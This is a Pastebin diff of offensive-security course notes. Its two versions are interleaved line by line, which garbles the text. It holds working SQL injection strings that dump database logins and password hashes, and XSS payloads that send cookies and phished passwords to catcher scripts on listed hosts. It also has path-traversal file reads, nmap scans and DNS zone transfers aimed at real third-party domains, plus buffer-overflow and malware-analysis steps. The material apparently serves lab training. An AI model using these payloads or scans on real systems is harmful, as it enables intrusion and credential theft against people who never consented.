View difference between Paste ID: 1crPaSjk and JZdCHrN4

 Secure Software Development
-# Passive Recon #
+https://s3.amazonaws.com/StrategicSec-Files/SecureSoftwareDevelopment.zip
 
 
-- Wikipedia Page
+
-	- Are they Public or Private?
+
-	- Does the target have any subsidiaries?
+
-    	- Have they had any scandals?
+# Down & Dirty App Sec #
 ########################
-- Robtex
+
-	- Show system map
+Download VMWare Player if you are not currently running a version of Vmware that is newer than VMWare Workstation 11, Vmware Fusion 7, or Vmware Player 11. VMWare Player is free and you download it from here:
 https://my.vmware.com/web/vmware/free#desktop_end_user_computing/vmware_workstation_player/12_0
 
 
 
 Download the course virtual machines:
 https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu14.zip
-- I prefer to use Putty to SSH into my Linux host.
+username:    strategicsec
-- You can download Putty from here:
+password:    strategicsec
-- http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
+
 
-Here is the information to put into putty
+
 Start with simple Firefox Addons:
-Host Name:          107.191.39.106
+
-protocol:           ssh
+- ShowIP			https://addons.mozilla.org/en-US/firefox/addon/showip/
-port:               22
+- Server Spy			https://addons.mozilla.org/en-US/firefox/addon/server-spy/
-username:           ceh
+- FoxyProxy			https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/
-password:           passtheceh
+- Tamper Data			https://addons.mozilla.org/en-US/firefox/addon/tamper-data/
 - Wapalyzer			https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/
 
 A good list of web app testing add ons for Firefox:
 https://addons.mozilla.org/en-us/firefox/collections/adammuntner/webappsec/
 
----------------------------Type This-----------------------------------
+
 
 
 
 
 
 ##################################
 # Basic: Web Application Testing #
-http://whois.domaintools.com/
+
 
 Most people are going to tell you reference the OWASP Testing guide.
 https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
 
----------------------------Type This-----------------------------------
+
-dig axfr @nsztm1.digi.ninja zonetransfer.me
+
 
 The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
 
-./ipcrawl 148.87.1.1 148.87.1.254
+	1. Does the website talk to a DB?
 		- Look for parameter passing (ex: site.com/page.php?id=4)
 		- If yes - try SQL Injection
 
 	2. Can I or someone else see what I type?
 		- If yes - try XSS
 
 	3. Does the page reference a file?
 		- If yes - try LFI/RFI
 
 Let's start with some manual testing against 54.149.82.150
 
 
 Start here:
 http://54.149.82.150/
-# Scanning Methodology #
+
 
 There's no parameter passing on the home page so the answer to question 1 is NO.
-- Ping Sweep
+There is however a search box in the top right of the webpage, so the answer to question 2 is YES.
-What's alive?
+
-------------
+Try an XSS in the search box on the home page:
 <script>alert(123);</script>
----------------------------Type this command-----------------------------------
+
-sudo nmap -sP 157.166.226.*
+Doing this gives us the following in the address bar:
--------------------------------------------------------------------------------
+http://54.149.82.150/BasicSearch.aspx?Word=<script>alert(123);</script>
 
 Ok, so we've verified that there is XSS in the search box.
 
-   -if -SP yields no results try:
+Let's move on to the search box in the left of the page.
----------------------------Type this command-----------------------------------
+
-sudo nmap -sL 157.166.226.*
+Let's give the newsletter signup box a shot
--------------------------------------------------------------------------------
+
 Moving on to the login page.
 http://54.149.82.150/login.aspx
 
-   -Look for hostnames:
+I entered a single quote (') for both the user name and the password. I got the following error:
----------------------------Type this command-----------------------------------
+
-sudo nmap -sL 157.166.226.* | grep cnn
+
--------------------------------------------------------------------------------
+
 http://54.149.82.150/bookdetail.aspx?id=2'
 
 
-- Port Scan
+
-What's where?
+
-------------
+
----------------------------Type this command-----------------------------------
+
-sudo nmap -sS 162.243.126.247
+
--------------------------------------------------------------------------------
+
 
 
 
-- Bannergrab/Version Query
+
-What versions of software are running
+
--------------------------------------
+
 
----------------------------Type this command-----------------------------------
+
-sudo nmap -sV 162.243.126.247
+
--------------------------------------------------------------------------------
+
 #############################################################################
 # SQL Injection                                                             #
 # https://s3.amazonaws.com/StrategicSec-Files/1-Intro_To_SQL_Intection.pptx #
 #############################################################################
-- Vulnerability Research
+
-Lookup the banner versions for public exploits
+
-----------------------------------------------
+
-https://www.exploit-db.com/search
+
-http://securityfocus.com/bid
+
-https://packetstormsecurity.com/files/tags/exploit/
+
 # Error-Based SQL Injection #
 #############################
 http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
-Network Penetration Testing Process (known vulnerabilities)
+http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
------------------------------------------------------------
+http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
 http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
 http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
-1. Ping Sweep:
+http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- 	NOTE: "N" - just means to keep going until you run out of databases
-The purpose of this step is to identify live hosts
+http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
 http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
-    nmap -sP <ip-address/ip-range>
+http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
 
 
-2. Port Scan
+
-Identify running services. We use the running services to map the network topology.
+
 #############################
-    nmap -sS <ip-address/ip-range>
+
 #############################
 http://54.149.82.150/bookdetail.aspx?id=2 order by 100--
-3. Bannergrab
+http://54.149.82.150/bookdetail.aspx?id=2 order by 50--
-Identify the version of version of software running on each port
+http://54.149.82.150/bookdetail.aspx?id=2 order by 25--
 http://54.149.82.150/bookdetail.aspx?id=2 order by 10--
-    nmap -sV <ip-address/ip-range>
+http://54.149.82.150/bookdetail.aspx?id=2 order by 5--
-
+http://54.149.82.150/bookdetail.aspx?id=2 order by 6--
 http://54.149.82.150/bookdetail.aspx?id=2 order by 7--
 http://54.149.82.150/bookdetail.aspx?id=2 order by 8--
-4. Vulnerability Research
+http://54.149.82.150/bookdetail.aspx?id=2 order by 9--
-Use the software version number to research and determine if it is out of date (vulnerable).
+http://54.149.82.150/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
 
-    exploit-db.com/search
+	We are using a union select statement because we are joining the developer's query with one of our own.
 	Reference:
 	http://www.techonthenet.com/sql/union.php
 	The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
 	It removes duplicate rows between the various SELECT statements.
 
 	Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
 
 http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
 
-Skill Level 1. Run the scanners
+	Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
--------------------------------
+
-    Nexpose
+http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
-    Qualys
+http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
-    Retina
+http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
-    Nessus              known vulnerabilities
+http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
-    OpenVas
+
-    Foundscan
+
-    GFI LanGuard
+
-    NCircle
+
 
 - Another way is to see if you can get the backend to perform an arithmetic function
-Skill Level 2. Manual vulnerability validation (known vulnerabilities)
+http://54.149.82.150/bookdetail.aspx?id=(2)
 http://54.149.82.150/bookdetail.aspx?id=(4-2)
 http://54.149.82.150/bookdetail.aspx?id=(4-1)
-    windows ->  systeminfo
+
-    Linux->     dpkg -l
+
-                rpm -qa
+
 http://54.149.82.150/bookdetail.aspx?id=2 or 1=1--
-	Mac OS X -> sudo find / -iname *.app
+http://54.149.82.150/bookdetail.aspx?id=2 or 1=2--
 http://54.149.82.150/bookdetail.aspx?id=1*1
 http://54.149.82.150/bookdetail.aspx?id=2 or 1 >-1#
 http://54.149.82.150/bookdetail.aspx?id=2 or 1<99#
 http://54.149.82.150/bookdetail.aspx?id=2 or 1<>1#
 http://54.149.82.150/bookdetail.aspx?id=2 or 2 != 3--
 http://54.149.82.150/bookdetail.aspx?id=2 &0#
 
 
-	- http://toolbar.netcraft.com/site_report
+
-	- https://addons.mozilla.org/en-US/firefox/addon/live-http-headers/
+
 
 ###############################
 # Blind SQL Injection Testing #
----------------------------Type This-----------------------------------
+
-dig microsoft.com
+
 
 3 - Total Characters
-bash lbd.sh microsoft.com
+http://54.149.82.150/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
 http://54.149.82.150/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
 http://54.149.82.150/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- 		(Ok, the username is 3 chars long - it waited 10 seconds)
 
 Let's go for a quick check to see if it's DBO
 http://54.149.82.150/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
 
 Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
 
 D  - 1st Character
 http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
 http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
----------------------------Type This-----------------------------------
+http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
 http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- 	(Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
-wafw00f http://www.oracle.com
+
-wafw00f https://www.cnn.com
+
-wafw00f https://cnn.com
+http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
-wafw00f https://www.infosecaddicts.com
+http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
 
 O - 3rd Character
 http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
 http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
 http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
 http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
 http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
 http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
-sudo nmap -p 80 --script http-waf-detect.nse
+
 
 
 
 
 
-# Scanning Methodology #
+
 
 
-- Ping Sweep
+
-What's alive?
+###################################################################
-------------
+# What is XSS                                                     #
 # https://s3.amazonaws.com/StrategicSec-Files/2-Intro_To_XSS.pptx #
----------------------------Type This-----------------------------------
+###################################################################
-sudo nmap -sP 157.166.226.*
+
 OK - what is Cross Site Scripting (XSS)
 
 1. Use Firefox to browse to the following location:
 
 	http://54.172.112.249/xss_practice/
-	-if -SP yields no results try:
+
----------------------------Type This-----------------------------------
+	A really simple search page that is vulnerable should come up.
-sudo nmap -sL 157.166.226.*
+
 
 
 
 2. In the search box type:
 
-	-Look for hostnames:
+	<script>alert('So this is XSS')</script>
----------------------------Type This-----------------------------------
+
-sudo nmap -sL 157.166.226.* | grep com
+
 	This should pop-up an alert window with your message in it proving XSS is in fact possible.
 	Ok, click OK and then click back and go back to http://54.172.112.249/xss_practice/
 
 
 3. In the search box type:
-- Port Scan
+
-What's where?
+	<script>alert(document.cookie)</script>
-------------
+
----------------------------Type This-----------------------------------
+
-sudo nmap -sS 162.243.126.247
+	This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
 	Ok, click OK and then click back and go back to http://54.172.112.249/xss_practice/
 
 4. Now replace that alert script with:
 
 	<script>document.location="http://54.172.112.249/xss_practice/cookie_catcher.php?c="+document.cookie</script>
-- Bannergrab/Version Query
+
-What versions of software are running
+
--------------------------------------
+
 
----------------------------Type This-----------------------------------
+
-sudo nmap -sV 162.243.126.247
+
 	http://54.172.112.249/xss_practice/cookie_stealer_logs.html
 
 
 The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
 
 
-- Vulnerability Research
+
-Lookup the banner versions for public exploits
+
-----------------------------------------------
+
-http://exploit-db.com
+
-http://securityfocus.com/bid
+
-https://packetstormsecurity.com/files/tags/exploit/
+
 ############################
 
-                            ###################################A###############
+
------------ ############### # Day 2: Software Exploitation & Malware Analysis # ############### -----------
+
-                            ###################################################
+
 
 Use Firefox to browse to the following location:
-# Scanning Methodology #
+
 	http://54.172.112.249/xss_practice/
 
-- Ping Sweep
+
-What's alive?
+
-------------
+
 ----------------------------
----------------------------Type this command-----------------------------------
+
-sudo nmap -sP 157.166.226.*
+
--------------------------------------------------------------------------------
+
 --------
 
 <script>
-   -if -SP yields no results try:
+password=prompt('Your session is expired. Please enter your password to continue',' ');
----------------------------Type this command-----------------------------------
+document.write("<img src=\"http://54.172.112.249/xss_practice/passwordgrabber.php?password=" +password+"\">");
-sudo nmap -sL 157.166.226.*
+
--------------------------------------------------------------------------------
+
 
 Now view the stolen cookie at:
 	http://54.172.112.249/xss_practice/passwords.html
-   -Look for hostnames:
+
----------------------------Type this command-----------------------------------
+
-sudo nmap -sL 157.166.226.* | grep cnn
+
--------------------------------------------------------------------------------
+
 --------
 <script>
 username=prompt('Please enter your username',' ');
-- Port Scan
+
-What's where?
+document.write("<img src=\"http://54.172.112.249/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">");
-------------
+
----------------------------Type this command-----------------------------------
+
-sudo nmap -sS 162.243.126.247
+
--------------------------------------------------------------------------------
+
 
 Now view the stolen cookie at:
 http://54.172.112.249/xss_practice/username_password_logs.html
-- Bannergrab/Version Query
+
-What versions of software are running
+
--------------------------------------
+
 
----------------------------Type this command-----------------------------------
+
-sudo nmap -sV 162.243.126.247
+# Let's kick it up a notch with ASP.NET #
--------------------------------------------------------------------------------
+# http://54.200.178.220/                #
 #########################################
 
 
 The trading Web App is on http://54.200.178.220/
-- Vulnerability Research
+
-Lookup the banner versions for public exploits
+
-----------------------------------------------
+Try the following in the search box:
-https://www.exploit-db.com/search
+	<script>alert(123);</script>
-http://securityfocus.com/bid
+	' or 1=1
-https://packetstormsecurity.com/files/tags/exploit/
+	' and a=a
 	1=1
 	Joe'+OR+1=1;--
 
-Network Penetration Testing Process (known vulnerabilities)
+
------------------------------------------------------------
+	<script>alert(123);</script>
 
 Open a new tab in firefox and try this:
-1. Ping Sweep:
+	http://54.200.178.220/Searchresult.aspx?<script>alert(123);</script>=ScriptName
-The purpose of this step is to identify live hosts
+
 
-    nmap -sP <ip-address/ip-range>
+Try the contact us form.
 Open a new tab in firefox and try this:
 	http://54.200.178.220/OpenPage.aspx?filename=../../../../../../windows/win.ini
-2. Port Scan
+
-Identify running services. We use the running services to map the network topology.
+Try this on the inquiry form:
 	Joe McCray
-    nmap -sS <ip-address/ip-range>
+	1234567890
 	joe@strategicsec.com') waitfor delay '00:00:10'--
 
-3. Bannergrab
+
-Identify the version of version of software running on each port
+Login Box:
 
-    nmap -sV <ip-address/ip-range>
+	' or 1=1 or ''='
-
+	anything   			(click login instead of pressing enter)
 
 
-4. Vulnerability Research
+
-Use the software version number to research and determine if it is out of date (vulnerable).
+Tamper Data: (notice 2 session IDs)
 
-    exploit-db.com/search
+	AcmeTrading=a4b796687b846dd4a34931d708c62b49; 		SessionID is md5
 	IsAdmin=yes;
 	ASP.NET_SessionId=d10dlsvaq5uj1g550sotcg45
 
 
 
 Profile - Detail	(tamper data)
 	Disposition: form-data; name="ctl00$contentMiddle$HiddenField1"\r\n\r\njoe\r\n
 	joe|set
 
-Skill Level 1. Run the scanners
+
--------------------------------
+	xss_upload.txt (Upload Bulk Order)
-    Nexpose
+	<script>alert(123);</script>
-    Qualys
+
-    Retina
+
-    Nessus              known vulnerabilities
+
-    OpenVas
+
-    Foundscan
+
-    GFI LanGuard
+
-    NCircle
+
 There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
 
-Skill Level 2. Manual vulnerability validation (known vulnerabilities)
+
 
 
-    windows ->  systeminfo
+
-    Linux->     dpkg -l
+
-                rpm -qa
+
 
 Step 3: When you load your fuzz strings - use the following decision tree
 
 	- Are the fuzz strings causing a default error message (example 404)?
 		- If this is the case then it is most likely NOT vulnerable
 
 	- Are the fuzz strings causing a WAF or LB custom error message?
-#####################################
+		- If this is the case then you need to find an encoding method to bypass
-# Quick Stack Based Buffer Overflow #
+
-#####################################
+
 	- Are the fuzz strings causing an error message that discloses the backend type?
-- You can download everything you need for this exercise from the links below (copy nc.exe into the c:\windows\system32 directory)
+		- If yes, then identify DB type and find correct syntax to successfully exploit
-http://45.63.104.73/ExploitLab.zip
+		- Some example strings that I use are:
 			'
 			"
-- Extract the ExploitLab.zip file to your Desktop
+			()       	<----- Take the parameter value and put it in parenthesis
 			(5-1)	 	<----- See if you can perform an arithmetic function
-- Go to folder C:\Users\student\Desktop\ExploitLab\2-VulnServer, and run vulnserv.exe
+
 
 	- Are the fuzz strings rendering executable code?
 		- If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
----------------------------Type This-----------------------------------
+		- Some example strings that I use are:
 			<b>hello</b>
---------------------------------------------------------------------------
+			<u>hello</u>
 			<script>alert(123);</script>
 			<script>alert(xss);</script>
 			<script>alert('xss');</script>
 			<script>alert("xss");</script>
-- Go to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts
+
 
 
 
 
 
 ############################
 # Trading Web App with WAF #
 # http://54.213.131.105    #
-- Now go to folder C:\Users\student\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe
+
 
-- Go back to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py.
+
 Try the following in the search box:
 	<script>alert(123);</script>
 	<script>alert(123);</script
 	<script>alert(123)
 	<script>alert
 	<script>
 	<script
 	<scrip
 	<scri
 	<scr
 	<sc
 	<s
 	<p
 	<
 	< s
 	Joe'+OR+1=1;--
 
 
 Open a new tab in firefox and try this:
 	http://54.213.131.105/Searchresult.aspx?%u003cscript>prompt(123)%u003c/script>=ScriptName
 
 
 	xss_upload.txt (Upload Bulk Order)
 	<script>alert(123);</script>
 
 
 Login Box:
 
-Skill Level 3. Identify unknown vulnerabilities
+	' or 1=1 or ''='
------------------------------------------------
+	anything
 
-- App Type
+
-------------
+
-   Stand Alone             Client Server               Web App
+Tamper Data: (notice 2 session IDs)
 
-                       ***(vulnerserver.exe)***
+	AcmeTrading=a4b796687b846dd4a34931d708c62b49; 		SessionID is md5
 	IsAdmin=yes;
 	ASP.NET_SessionId=d10dlsvaq5uj1g550sotcg45
-- Input TYpe
+
--------------
+
-   FIle                    logical network port            Browser
+
-   Keyboard
+Profile - Detail	(tamper data)
-   Mouse
+	Disposition: form-data; name="ctl00$contentMiddle$HiddenField1"\r\n\r\njoe\r\n
 	joe|set
 
 
-                       ***(9999)***
+
 
 
-- Map & Fuzz app entry points:
+
 
-   - Commands              ***(commands)***
+###########################################################
-   - Methods
+# Attacking an Oracle/JSP based WebApp with SQL Injection #
-   - Verbs
+###########################################################
-   - functions
+
-   - subroutines
+
-   - controllers
+
 
 
-- Isolate the crash
+http://54.69.156.253:8081/bookcompany/
--------------------
+
-App seems to reliably crash at TRUN 2100
+
 user:	a' OR 'a'='a
 pass:	a' OR 'a'='a
-- Calculate the distance to EIP
+
--------------------------------
+
-Distance to EIP is 2006
+
 
-We found that EIP was populated with the value: 396F4338
+
-396F4338 is 8 (38), C (43), o (6F), 9 (39) so we search for 8Co9 in the non_repeating pattern
+
 
-An online tool that we can use for this is:
+http://54.69.156.253:8081/bookcompany/author.jsp?id=111
-https://zerosum0x0.blogspot.com/2016/11/overflow-exploit-pattern-generator.html
+
 
 [ Search by Username ]	Joe' OR 'a'='a
 
-- Redirect Program Execution
+
 
-A 3rd party dll named essfunc.dll seems to be the best candidate for the 'JMP ESP' instruction.
+
-We learned that we control EAX and ESP in script 2.
+
 
 
 
 
 
-- Implement Shellcode
+
----------------------
+
-There are only 2 things that can go wrong with shellcode:
+http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1
-- Not enough space
+
-- Bad characters
+
 
 http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' OR '1'='1
 
 
 
 
 
-# FreeFloat FTP Server Exploit Analysis #
+
 
 
 
 
-Analyze the following exploit code:
+
-https://www.exploit-db.com/exploits/15689/
+
 
-1. What is the target platform that this exploit works against?
+
-2. What is the variable name for the distance to EIP?
+
-3. What is the actual distance to EIP in bytes?
+http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))--
-4. Describe what is happening in the variable ‘junk2’
+
 
 Host is running:
 
 
-Analysis of the training walk-through based on EID: 15689:
+
-http://45.63.104.73/ff.zip
+
 
 http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((SELECT user FROM dual))--
 
 User is:
-ff1.py
+
-1. What does the sys module do?
+
-2. What is sys.argv[1] and sys.argv[2]?
+
-3. What application entry point is being attacked in this script?
+
 
 http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((SELECT global_name FROM global_name))--
 
-ff2.py
+Current database is:
-1. Explain what is happening in lines 18 - 20 doing.
+
-2. What is pattern_create.rb doing and where can I find it?
+
-3. Why can’t I just double click the file to run this script?
+
 
 
 
-ff3.py
+
-1. Explain what is happening in lines 17 - to 25?
+
-2. Explain what is happening in lines 30 - to 32?
+
-3. Why is everything below line 35 commented out?
+
 
 sudo /sbin/iptables -F
 cd /home/strategicsec/toolz
-ff4.py
+
-1. Explain what is happening in lines 13 to 15.
+
-2. Explain what is happening in line 19.
+
-3. What is the total length of buff?
+
 # Target IP Determination #
 ###########################
 
-ff5.py
+
-1. Explain what is happening in line 15.
+
-2. What is struct.pack?
+
-3. How big is the shellcode in this script?
+http://www.networksolutions.com/whois/index.jsp
 
 cd ~/toolz/fierce2
 fierce -dns motorola.com
-ff6.py
+cd ..
-1. What is the distance to EIP?
+
-2. How big is the shellcode in this script?
+
-3. What is the total byte length of the data being sent to this app?
+dig axfr heartinternet.co.uk  @ns.heartinternet.co.uk
 
 
 cd ~/toolz/
 ./ipcrawl 148.87.1.1 148.87.1.254				(DNS forward lookup against an IP range)
-ff7.py
+
-1. What is a tuple in python?
+
-2. How big is the shellcode in this script?
+
-3. Did your app crash in from this script?
+
 
 sudo nmap -p 443,444,8443,8080,8088 --script=ssl-cert --open 148.87.1.0-255		Reference: http://blog.depthsecurity.com/2012/01/obtaining-hostdomain-names-through-ssl.html
 
 
-ff8.py
+
-1. How big is the shellcode in this script?
+
-2. What is try/except in python?
+
-3. What is socket.SOCK_STREAM in Python?
+
 
 Here are some options to use for identifying load balancers:
 	- news.netcraft.com
-ff9.py
+	- Firefox LiveHTTP Headers
-1. What is going on in lines 19 and 20?
+
-2. What is the length of the NOPs?
+
-3. From what DLL did the address of the JMP ESP come from?
+
 
 dig google.com
 
 cd ~/toolz
-ff010.py
+./lbd-0.1.sh google.com
-1. What is going on in lines 18 - 20?
+
-2. What is going on in lines 29 - 32?
+
-3. How would a stack adjustment help this script?
+
 halberd motorola.com
 halberd oracle.com
 
-#################################
+
-# The malware analysis scenario #
+
-#################################
+# Intrusion Prevention Detection #
-You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).
+
 
 
-The fastest thing you can do is perform static analysis.
+osstmm-afd -P HTTP -t www.strategicsec.com -v
 
 cat /etc/xinetd.d/ssltest
 
 cat /home/strategicsec/toolz/ssl_proxy.sh
-# Static Analysis #
+
 service xinetd status
 
 osstmm-afd -P HTTP -t 127.0.0.1 -p 8888 -v
 
 ****** If you are getting your IP blocked you can use a service like AceVPN to give you multiple IPs to launches your tests from. ******
----------------------------Type This-----------------------------------
+
-file wannacry.exe
+
 
-hexdump -n 2 -C wannacry.exe
+
 # Web Application Firewall Detection #
 ######################################
 
 cd ~/toolz/wafw00f
 python wafw00f.py http://www.oracle.com
 python wafw00f.py http://www.strategicsec.com
-Reference:
+
 
 cd ~/toolz/
 sudo nmap -p 80 --script http-waf-detect.nse oracle.com
 
----------------------------Type This-----------------------------------
+
 
-objdump -x wannacry.exe
+
 
-strings wannacry.exe
+
 #######################################################
-strings --all wannacry.exe | head -n 6
+# Day 1: 3rd Party Scanning, and scanning via proxies #
 #######################################################
-strings wannacry.exe | grep -i dll
+
 http://www.shodanhq.com/
-strings wannacry.exe | grep -i library
+
 	Create a FREE account and login
-strings wannacry.exe | grep -i reg
+
 	net:129.188.8.0/24
-strings wannacry.exe | grep -i key
+
 
-strings wannacry.exe | grep -i rsa
+
 cd /home/strategicsec/toolz/
-strings wannacry.exe | grep -i open
+perl proxyfinder-0.3.pl multiproxy 3 proxies.txt	<-- This takes a long time to run
 
-strings wannacry.exe | grep -i get
+
 
-strings wannacry.exe | grep -i mutex
+sudo vi /etc/proxychains.conf				<--- Make sure that last line of the file is: ocks4  127.0.0.1 9050
 
-strings wannacry.exe | grep -i irc
+
 
-strings wannacry.exe | grep -i join
+
 ----------------------------------------------------------------------
-strings wannacry.exe | grep -i admin
+vi ~/toolz/fix-proxychains-dns.sh
 
-strings wannacry.exe | grep -i list
+#!/bin/bash
 # This script is called by proxychains to resolve DNS names
 # DNS server used to resolve names
-pe info wannacry.exe
+# Reference: http://carnal0wnage.attackresearch.com/2013/09/changing-proxychains-hardcoded-dns.html
-pe check wannacry.exe
+DNS_SERVER=4.2.2.2
-pe dump --section text wannacry.exe
+
-pe dump --section data wannacry.exe
+if [ $# = 0 ] ; then
-pe dump --section rsrc wannacry.exe
+echo " usage:"
-pe dump --section reloc wannacry.exe
+echo " proxyresolv <hostname> "
-strings rdata | less
+exit
-strings rsrc | less
+fi
-strings text | less
+
 export LD_PRELOAD=libproxychains.so.3
 dig $1 @$DNS_SERVER +tcp | awk '/A.+[0-9]+\.[0-9]+\.[0-9]/{print $5;}'
 -----------------------------------------------------------------------
-wget https://pastebin.com/raw/guxzCBmP
+
 
 sudo ntpdate pool.ntp.org
-cp guxzCBmP am.py
+
 tor-resolve strategicsec.com
 
-nano am.py
+proxychains nmap -sT -p80 204.244.123.113
 
-python am.py wannacry.exe
+proxychains nmap -sT -PN -n -sV -p 21,22,23,25,80,110,139,443,445,1433,1521,3306,3389,8080,10000 204.244.123.113
 
 
-##############################################
+If you want to block tor exit nodes you get a list from here:
-# Log Analysis with Linux command-line tools #
+http://rules.emergingthreats.net/blockrules/emerging-tor-BLOCK.rules
-##############################################
+
-The following command line executables are found in the Mac as well as most Linux Distributions.
+You probably should also block things like:
 http://rules.emergingthreats.net/blockrules/emerging-rbn-BLOCK.rules			<----- Russian Business Network IPs
-cat –  prints the content of a file in the terminal window
+http://rules.emergingthreats.net/blockrules/emerging-botcc.rules			<----- BotNet Command and Control Servers
-grep – searches and filters based on patterns
+http://rules.emergingthreats.net/blockrules/emerging-rbn-malvertisers-BLOCK.rules	<----- Malware Advertisers
-awk –  can sort each row into fields and display only what is needed
+
-sed –  performs find and replace functions
+Here is where you can download the perl script to automatically update your firewall each day (create a cron job for it).
-sort – arranges output in an order
+http://doc.emergingthreats.net/bin/view/Main/EmergingFirewallRules
-uniq – compares adjacent lines and can report, filter or provide a count of duplicates
+
 
 
 
-# Cisco Logs #
+
 
 
-AWK Basics
+######################
-----------
+# Simple Exploit Dev #
-To quickly demonstrate the print feature in awk, we can instruct it to show only the 5th word of each line. Here we will print $5. Only the last 4 lines are being shown for brevity.
+######################
 
------------------------------Type this-----------------------------------------
+- Inside of your Windows7 VM - download the following file to the Desktop:
-cat cisco.log | awk '{print $5}' | tail -n 4
+https://s3.amazonaws.com/StrategicSec-Files/SimpleExploitLab.zip
--------------------------------------------------------------------------------
+
 - Extract this zip file to your Desktop
 
 - Go to folder C:\Users\Workshop\Desktop\ExploitLab\2-VulnServer, and run vulnserv.exe
-Looking at a large file would still produce a large amount of output. A more useful thing to do might be to output every entry found in “$5”, group them together, count them, then sort them from the greatest to least number of occurrences. This can be done by piping the output through “sort“, using “uniq -c” to count the like entries, then using “sort -rn” to sort it in reverse order.
+
 - Open a new command prompt and type:
------------------------------Type this-----------------------------------------
+
-cat cisco.log | awk '{print $5}'| sort | uniq -c | sort -rn
+
--------------------------------------------------------------------------------
+
 HELP
 
 - Go to folder C:\Users\Workshop\Desktop\ExploitLab\4-AttackScripts
